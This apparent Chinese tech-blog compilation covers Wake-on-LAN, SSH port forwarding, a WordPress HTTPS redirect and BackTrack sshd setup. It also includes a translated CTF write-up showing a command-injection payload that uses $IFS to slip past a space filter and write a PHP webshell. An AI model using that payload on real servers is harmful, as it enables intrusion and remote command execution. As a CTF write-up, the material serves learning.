公网远程网络唤醒的几个关键点

  1. 端口映射,使得路由器或防火墙的某个端口映射到内网机器的某个IP地址
  2. IP/MAC绑定,由于机器还未开机,所以动态MAC地址表中没有机器的MAC地址,路由器或网关设备不知道该发送给谁,因此加入静态的IP/MAC绑定,就可以知道对应该端口的包该发给哪台内网的主机
  3. 开机数据包Magic 可以用在线网页https://www.depicus.com/wake-on-lan/woli 也可以用该网站提供的exe程序,或网上提供的Python脚本.
  4. 最重要的一步是要在进行网络唤醒的机器上开启网络唤醒支持,一般是在BIOS的高级电源管理中,英文名字叫做APM,(Advaced Power Manage),然后根据网卡是PCI还是PCIE来选择是否允许PCI或PCIE进行系统启动.
  5. 之后就可以了
  6. 注意: 在公网启动的时候掩码一般要写255.255.255.255 内网的话(唤醒与被唤醒的机器同一个网段)一般写255.255.255.0,开不了的话就两个都试试,如果还是开不了,就直连试试,如果还是不行,那么就是BIOS配置有问题,如果能开那么就是映射有问题或者掩码有问题.

 

不使用空格执行Bash命令(绕过空格检测执行Bash命令)

原文链接: http://0xa.li/executing-bash-commands-without-space/
大家好,我在一次CTF比赛中和我的队友@aboul3la发现一种在Web应用挑战中进行命令注入的方法.
如果你输入`>file.txt`服务器就会创建一个file.txt的文件
我们想要写入一个PHP的shell,像这样:
echo "<?PHP CODE>" > file.php
但是问题是,这个比赛的题目过滤空格,不让输入空格(Error: Not valid URL)
所以我们尝试很多种办法绕过,一开始的思路是使用解码的方式来获得一个space(空格),比如从hex或者其他的什么解码成一个空格,但是这种方法在echo后面都不凑效

然后我就进行了搜索,看Linux是否自己已经对空格进行了定义.
最后我发现了,确实是$IFS

解决方法是:
echo\$IFS"<?=system(\$_GET[x]);?>">shell.php
如果你要下载东西,那么wget$IFShttps://google.com/robots.txt

14467750403809

英文原文:
Hello, world.

So I was in this CTF competition and my teammate (@aboul3la) found a command injection vulnerability in one of web application challenges.

If you input >file.txt the server creates a file called file.txt.

We wanted to write a PHP shell to the server (echo “<?PHP CODE>” > file.php)
But the thing is, the challenge had a filter that won’t allow you to have a space in the input (Error: Not valid URL)

So we tried around and my first thought was to use some decoding mechanism to decrypt “space” from it’s hex equivalent or something, but we couldn’t do it without a space after the “echo”
Then i thought i should search and see if the space (or tab) is defined in Linux itself.
And i found it: $IFS.

The solution was:
echo$IFS”<?=system($_GET[x]);?>”>shell.php

If you wanted to wget something: wget$IFS”https://google.com/robots.txt”

远程内网端口转发

ncat -l -vv -p 9999 模拟CCPROXY侦听端口

ssh user@60.100.100.110 -R 8080:127.0.0.1:9999 -P 5862

上面是要被访问的内网


下面是本地
ssh user@60.100.100.110 -P 5862 -L 8080:127.0.0.1:8080

ncat localhost 8080 模拟浏览器发送数据

配置.htaccess使WordPress强制使用HTTPS访问

网上有许多方法都是依赖于端口检测的,但是总感觉这种方法不太合适,不过其实用起来没有什么问题,但是最后我还是没有选择使用端口检测的方法来区分访客是否使用Https访问,因为服务器上可能服务ssl服务的端口不仅只有443.

经过打印PHP $_SERVER 变量发现,其中有一个变量是HTTPS,当访客使用https方式访问的时候会有该变量,否则没有。

查阅了apache mod_rewrite官方文档,是这样说的:

HTTPS Will contain the text “on” if the connection is using SSL/TLS, or “off” otherwise. (This variable can be safely used regardless of whether or not mod_ssl is loaded).

也就是说访客使用SSL/TLS访问的时候HTTPS这个变量会变成on,否则就是off或者没有这个变量。

所以可以使用这种方法进行检测,这样就可以写出一条很简洁的规则:

RewriteCond %{HTTPS} !^on$
RewriteRule (.*) https://%{SERVER_NAME}%{REQUEST_URI} [R=301]

只要检测变量不为on,就进行强制外部调整[R],并最后结束[L]。

最后的规则就像下面这样子:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} !^on$ [NC]
RewriteRule (.*) https://%{SERVER_NAME}%{REQUEST_URI} [L,R=301]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

你当然可以把所有的规则写到一起,OK,这样wordpress以后就只能强制使用SSL访问了!

BackTrack 5 开启SSHD服务

BackTrack 5启动SSHD服务

service ssh start

但启动后,仍然无法从远程连接,会有提示:

Read from socket failed: Connection reset by peer

这个时候需要生成密钥文件,方法如下

#ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key   

#ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key

key

#sshd-generate
现在就可以用ssh远程登陆了